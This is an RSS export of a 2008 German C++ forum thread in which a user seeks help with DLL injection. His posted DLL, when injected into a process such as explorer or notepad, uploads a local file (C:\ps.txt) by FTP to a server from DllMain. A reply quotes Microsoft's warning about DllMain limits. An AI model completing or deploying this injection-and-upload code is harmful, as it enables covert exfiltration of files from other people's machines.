<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Wininet bei Code Injection nicht möglich ?]]></title><description><![CDATA[<p>Hallo,<br />
ich versuche mich schon seit einigen Tagen an dem ganzen &quot;Code Injection&quot; Ablauf. Bin mittlerweile soweit das ich eine X beliebige DLL Datei in einen Prozess mit einer PID meiner Wahl injecten kann.</p>
<p>Allerdings harpert es wenn ich statt einer Message BOX Ausgabe einen Dateiupload starten will. Das gewünschte Programm freezt sofort und muss neu gestartet werden. Habe mal &quot;notepad, explorer, cmd, iexplorer ... &quot; etc versucht. Bei allen der gleiche Fehler.</p>
<p>So sieht die DLL Datei aus:</p>
<pre><code>#define MAKE_DLL
#define _WIN32_WINNT 0x500

#include &lt;windows.h&gt;
#include &lt;wininet.h&gt;
#pragma comment(lib, &quot;wininet.lib&quot;)

extern &quot;C&quot; void __declspec(dllexport) Funktion()
{
		void *FFtpHandle;
		int FContext = 255;

		HINTERNET FINet = InternetOpenA(&quot;WININET1&quot;, 0, NULL, 0, 0);
		FFtpHandle = InternetConnectA(FINet, &quot;127.0.0.1&quot;, 0, &quot;admin&quot;, &quot;admin&quot;, INTERNET_SERVICE_FTP, 0, FContext);

		BOOL Transfer1 = FtpPutFileA(FFtpHandle, &quot;C:\\ps.txt&quot;, &quot;ps.txt&quot;, FTP_TRANSFER_TYPE_BINARY, 0);
}

extern &quot;C&quot; int WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved )
{
switch( fdwReason )
{
	case DLL_PROCESS_ATTACH:  
		Funktion();
		break;
	case DLL_PROCESS_DETACH:  
		break;
	}
 return TRUE;
}
</code></pre>
<p>(IP aus Sicherheitsgründen editiert^^)</p>
<p>Ich habe jedenfalls den gleichen Wininet Prozess in einer einzelnen Anwendung programmiert gehabt. Als EXE Datei funkt das ganze einwandfrei... nur wenn ichs injecten will nicht.</p>
<p>Hat einer ne Idee was ich eigendlich nu falsch mache ?</p>
]]></description><link>https://www.c-plusplus.net/forum/topic/222576/wininet-bei-code-injection-nicht-möglich</link><generator>RSS for Node</generator><lastBuildDate>Sun, 12 Apr 2026 16:20:42 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/222576.rss" rel="self" type="application/rss+xml"/><pubDate>Sun, 14 Sep 2008 17:37:01 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to Wininet bei Code Injection nicht möglich ? on Sun, 14 Sep 2008 17:37:01 GMT]]></title><description><![CDATA[<p>Hallo,<br />
ich versuche mich schon seit einigen Tagen an dem ganzen &quot;Code Injection&quot; Ablauf. Bin mittlerweile soweit das ich eine X beliebige DLL Datei in einen Prozess mit einer PID meiner Wahl injecten kann.</p>
<p>Allerdings harpert es wenn ich statt einer Message BOX Ausgabe einen Dateiupload starten will. Das gewünschte Programm freezt sofort und muss neu gestartet werden. Habe mal &quot;notepad, explorer, cmd, iexplorer ... &quot; etc versucht. Bei allen der gleiche Fehler.</p>
<p>So sieht die DLL Datei aus:</p>
<pre><code>#define MAKE_DLL
#define _WIN32_WINNT 0x500

#include &lt;windows.h&gt;
#include &lt;wininet.h&gt;
#pragma comment(lib, &quot;wininet.lib&quot;)

extern &quot;C&quot; void __declspec(dllexport) Funktion()
{
		void *FFtpHandle;
		int FContext = 255;

		HINTERNET FINet = InternetOpenA(&quot;WININET1&quot;, 0, NULL, 0, 0);
		FFtpHandle = InternetConnectA(FINet, &quot;127.0.0.1&quot;, 0, &quot;admin&quot;, &quot;admin&quot;, INTERNET_SERVICE_FTP, 0, FContext);

		BOOL Transfer1 = FtpPutFileA(FFtpHandle, &quot;C:\\ps.txt&quot;, &quot;ps.txt&quot;, FTP_TRANSFER_TYPE_BINARY, 0);
}

extern &quot;C&quot; int WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved )
{
switch( fdwReason )
{
	case DLL_PROCESS_ATTACH:  
		Funktion();
		break;
	case DLL_PROCESS_DETACH:  
		break;
	}
 return TRUE;
}
</code></pre>
<p>(IP aus Sicherheitsgründen editiert^^)</p>
<p>Ich habe jedenfalls den gleichen Wininet Prozess in einer einzelnen Anwendung programmiert gehabt. Als EXE Datei funkt das ganze einwandfrei... nur wenn ichs injecten will nicht.</p>
<p>Hat einer ne Idee was ich eigendlich nu falsch mache ?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1581845</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1581845</guid><dc:creator><![CDATA[NeSSS]]></dc:creator><pubDate>Sun, 14 Sep 2008 17:37:01 GMT</pubDate></item><item><title><![CDATA[Reply to Wininet bei Code Injection nicht möglich ? on Sun, 14 Sep 2008 17:42:40 GMT]]></title><description><![CDATA[<p>ohne deinen code überhaupt anzugucken, sage ich dir erstmal das hier</p>
<blockquote>
<p>Warning There are serious limits on what you can do in a DLL entry point. To provide more complex initialization, create an initialization routine for the DLL. You can require applications to call the initialization routine before calling any other routines in the DLL. Alternatively, the initialization routine can create a file with an ACL that restricts access, and each routine in the DLL would call the initialization routine if the file does not exist.</p>
</blockquote>
<blockquote>
<p>Calling functions that require DLLs other than Kernel32.dll may result in problems that are difficult to diagnose.</p>
</blockquote>
]]></description><link>https://www.c-plusplus.net/forum/post/1581848</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1581848</guid><dc:creator><![CDATA[asdca]]></dc:creator><pubDate>Sun, 14 Sep 2008 17:42:40 GMT</pubDate></item><item><title><![CDATA[Reply to Wininet bei Code Injection nicht möglich ? on Sun, 14 Sep 2008 17:47:03 GMT]]></title><description><![CDATA[<p>asdca schrieb:</p>
<blockquote>
<p>ohne deinen code überhaupt anzugucken, sage ich dir erstmal das hier</p>
<blockquote>
<p>Warning There are serious limits on what you can do in a DLL entry point. To provide more complex initialization, create an initialization routine for the DLL. You can require applications to call the initialization routine before calling any other routines in the DLL. Alternatively, the initialization routine can create a file with an ACL that restricts access, and each routine in the DLL would call the initialization routine if the file does not exist.</p>
</blockquote>
<blockquote>
<p>Calling functions that require DLLs other than Kernel32.dll may result in problems that are difficult to diagnose.</p>
</blockquote>
</blockquote>
<p>Hmmm zum ersten:<br />
Verstehe jetzt nicht so richtig was damit gemeint ist. Habe ja die ganze FUnktion einzeln deklariert und diese wird überm Entry aufgerufen.</p>
<p>Zum zweiten^^ joa kacke <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f61b.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--face_with_tongue"
      title=":P"
      alt="😛"
    /><br />
Hat jemand ne Lösung ? <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f603.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--grinning_face_with_big_eyes"
      title=":D"
      alt="😃"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1581853</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1581853</guid><dc:creator><![CDATA[NeSSS]]></dc:creator><pubDate>Sun, 14 Sep 2008 17:47:03 GMT</pubDate></item></channel></rss>